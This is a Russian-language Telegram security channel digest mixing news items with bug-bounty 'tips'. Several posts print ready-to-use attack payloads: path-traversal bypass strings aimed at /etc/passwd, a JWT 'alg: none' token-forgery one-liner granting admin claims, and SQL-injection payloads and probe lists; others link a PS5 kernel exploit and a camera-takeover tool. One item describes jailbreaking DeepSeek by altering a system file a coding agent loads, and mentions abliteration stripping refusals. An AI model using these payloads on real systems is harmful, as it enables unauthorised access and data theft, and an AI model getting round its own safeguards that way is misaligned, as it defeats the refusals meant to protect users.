InfoSec Portal

Злоумышленники могли использовать iCloud, чтобы отправлять письма от имени любого адреса в домене icloud.com, включая tim.cook@icloud.com, при этом письма успешно проходили SPF, DKIM и DMARC — проверки подлинности почты, которые должны защищать от подмены отправителя.

Исследователи обнаружили и сообщили Apple о двух ошибках в обработке адресов на почтовых серверах компании.

Первое исправление Apple просто блокировало слово «admin». Полное исправление заняло 18 месяцев.

За находку исследователям выплатили $15 000.

https://sec-consult.com/blog/detail/from-anyoneicloudcom-spoofing-arbitrary-apple-icloud-identities/

👉 @cybersecinform

Парень выложил на GitHub приложение, которое превращает ваш телефон в детектор слежки.

Оно слушает Wi-Fi и Bluetooth-сигналы вокруг и показывает, какие устройства находятся поблизости:

• скрытые трекеры
• полицейские нагрудные камеры
• дроны и местоположение их пилота
• умные очки Meta, когда они ведут запись
• микрофоны систем обнаружения выстрелов

Всего приложение распознаёт до 242 типов устройств и предупреждает, если какое-то из них начинает перемещаться вместе с вами.

Полностью открытый исходный код.


👉 @cybersecinform

OpenClaw только что запустила «Kubernetes для ИИ-агентов» при поддержке OpenAI, NVIDIA и Red Hat.

Проект называется OpenClaw Enterprise — это открытая плоскость управления для запуска ИИ-агентов в большом масштабе.

Можно развёртывать агентов, изолировать их, управлять доступом и контролировать всю инфраструктуру из одного места.

Также платформа добавляет мультитенантность, управление политиками и аудит для инфраструктуры агентов.

И всё это работает поверх Kubernetes.

Изначально проект появился внутри OpenAI, а затем перешёл в OpenClaw Foundation.

Источник: https://thenewstack.io/openclaw-enterprise-kubernetes-agents/

👉 @cybersecinform

Обход Path Traversal

Null Byte Injection
../../../etc/./passwd%00.png

Удаление ../
..././..././..././e../tc..//pas../swd

Многоэтапное декодирование
..%2%35%32F..%2%35%32F..%2%35%32Fetc%2%35%32F/passwd

Добавление для усечения по длине, 4096 байт
../../../etc/./passwd/././././././

👉 @cybersecinform

Обход JWT через alg: none без необходимости подписи.

Authorization: Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiJhZG1pbiJ9.

Соответственно измените нужные поля ниже:

echo -n '{"sub":"admin","role":"admin","admin":true}' | base64 | tr -d '=' | xargs -I{} echo "eyJhbGciOiJub25lIn0.{}."

#BugBounty #BrokenAuth

👉 @cybersecinform

Microsoft только что добавила в Windows встроенный способ запускать Linux-контейнеры.

WSL Containers официально вышел в стабильный релиз и позволяет собирать и запускать Linux-контейнеры прямо из Windows через wslc.

Среди ключевых изменений — изолированные контейнеры, более быстрый доступ к файлам между Windows и Linux и новая сетевая модель.

Поддержка Compose уже на подходе.

Linux-контейнеры в Windows теперь официально стали нативной возможностью Microsoft.

Полный анонс:
https://blogs.windows.com/windowsdeveloper/2026/09/29/wsl-containers-now-generally-available/

👉 @cybersecinform

СРОЧНО: вышел новый джейлбрейк, который взламывает все версии прошивки PS5 с 7.00 по 13.60. Первые тестировщики говорят, что он запускается за считанные секунды и работает даже на PS5 Pro.

Всё, что нужно, — открыть определённый сайт во встроенном браузере.

Эксплойт объединяет уязвимость WebKit в браузере с гонкой use-after-free в ядре, чтобы получить чтение и запись в памяти ядра, после чего загружает полезные нагрузки для homebrew и резервных копий игр.

https://github.com/ntfargo/Relapse-Exploit

👉 @cybersecinform

#sqli

payload:-djsb '+union+select+1,2,version()--+-

#bugbounty #bugbountytrics #infosec #xss #sqli

👉 @cybersecinform

Для поиска поддоменов можно использовать новые инструменты

crt.name/v1/search?apex

app.agniops.in/v1/search?doma

Простой, быстрый и удобный способ находить больше поддоменов.

Удачной охоты ❤️

#bugbountytips #bugbountytip #bugbounty

👉 @cybersecinform

SQL-инъекция в SOAP-интеграции принесла €5 000.

https://oxship.github.io/writeups/soap-sql-injection/

#bugbounty #writeups #infosec

👉 @cybersecinform

Основы сетей для хакеров: Server Message Block (SMB) — как он работает и как его ломают.

#smb #networkbasics #cybersecurity #cyberwarrior #Samba

https://hackers-arise.com/network-basics-for-hackers-server-message-block-smb-and-samba/

👉 @cybersecinform

Официальный MCP-сервер для IDA уже вышел. Он бесплатный, с открытым исходным кодом и работает с любыми LLM.

Агент пишет код на IDAPython, расходует примерно на 20% меньше токенов и может работать с одной IDB-базой вместе с вами в реальном времени.

uvx ida-hcli mcp install

https://hex-rays.com/blog/hex-rays-ida-mcp-server

👉 @cybersecinform

Джейлбрейк DeepSeek V4.1 Flash: официальный API по-прежнему отказывает.

Обход сделали через рабочее пространство агента — изменили один системный файл, который кодовый агент загружает ещё до того, как вы что-либо вводите.

— Abliteration убирает отказы прямо на уровне весов модели.
— Здесь же взломали системные инструкции самого агента.

https://github.com/togg53192-cmd/jailbreaks/blob/main/deepseek-4-1.md

👉 @cybersecinform

PwnEye Tool

Инструмент для взлома камер видеонаблюдения, подключённых к сети IP-камер.

Возможности инструмента:

1. Поиск уязвимостей в камерах, использующих протоколы вроде ONVIF.
2. Возможность получать доступ к камерам и управлять ими, запускать прямую трансляцию, изменять интерфейс камеры, поворачивать её и получать доступ к настройкам.

https://github.com/Hackerest/pwneye

👉 @cybersecinform

Вот как находить SQL-инъекции в 100% случаев. 🔥

Для:
https://site.com/?q=HERE

/?q=1
/?q=1'
/?q=1"
/?q=[1]
/?q[]=1
/?q=1`
/?q=1\
/?q=1/*'*/
/?q=1/*!1111'*/
/?q=1'||'asd'||'   <== конкатенация строк
/?q=1' or '1'='1
/?q=1 or 1=1
/?q='or''='

#bugbountytips #bugbountytip

👉 @cybersecinform

Прошивка Uniden SDS100E успешно расшифрована.

👉 @cybersecinform